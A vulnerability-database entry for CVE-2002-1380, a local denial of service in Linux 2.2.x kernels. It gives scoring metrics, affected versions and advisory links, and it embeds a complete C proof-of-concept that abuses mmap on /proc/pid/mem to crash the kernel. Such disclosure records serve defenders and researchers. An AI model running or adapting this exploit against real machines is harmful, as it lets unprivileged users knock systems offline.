CVE-2002-1380 : Detail

CVE-2002-1380

0.18%V4
Local
2004-09-01
02h00 +00:00
2004-08-09
22h00 +00:00
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CVE Descriptions

Linux kernel 2.2.x allows local users to cause a denial of service (crash) by using the mmap() function with a PROT_READ parameter to access non-readable memory pages through the /proc/pid/mem interface.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 22105

Publication date : 2002-12-16 23h00 +00:00
Author : Michal Zalewski
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/6420/info A denial of service vulnerability has been discovered in the Linux 2.2 kernel. It has been reported that it is possible for an unprivileged user to cause the kernel to stop responding due to a bug in the implementation of mmap(). It should be noted that this issue does not affect the 2.4 kernel tree. This is because support for mmap() in the /proc/pid/mem implementation has been dropped. */ #define PAGES 10 #include <asm/page.h> #include <sys/mman.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <sys/ptrace.h> int main() { int ad1,ad2,zer,mem,pid,i; zer=open("/dev/zero",O_RDONLY); ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0); pid=getpid(); if (!fork()) { char p[64]; ptrace(PTRACE_ATTACH,pid,0,0); sleep(1); sprintf(p,"/proc/%d/mem",pid); mem=open(p,O_RDONLY); ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1); write(1,(char*)ad2,PAGES*PAGE_SIZE); } sleep(100); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.2.1

Linux>>Linux_kernel >> Version 2.2.2

Linux>>Linux_kernel >> Version 2.2.3

Linux>>Linux_kernel >> Version 2.2.4

Linux>>Linux_kernel >> Version 2.2.5

Linux>>Linux_kernel >> Version 2.2.6

Linux>>Linux_kernel >> Version 2.2.7

Linux>>Linux_kernel >> Version 2.2.8

Linux>>Linux_kernel >> Version 2.2.9

Linux>>Linux_kernel >> Version 2.2.10

Linux>>Linux_kernel >> Version 2.2.11

Linux>>Linux_kernel >> Version 2.2.12

Linux>>Linux_kernel >> Version 2.2.13

Linux>>Linux_kernel >> Version 2.2.14

Linux>>Linux_kernel >> Version 2.2.15

Linux>>Linux_kernel >> Version 2.2.16

Linux>>Linux_kernel >> Version 2.2.17

Linux>>Linux_kernel >> Version 2.2.18

Linux>>Linux_kernel >> Version 2.2.19

Linux>>Linux_kernel >> Version 2.2.20

Linux>>Linux_kernel >> Version 2.2.21

Linux>>Linux_kernel >> Version 2.2.22

Linux>>Linux_kernel >> Version 2.2.23

References

http://www.debian.org/security/2003/dsa-336
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2003-088.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/6420
Tags : vdb-entry, x_refsource_BID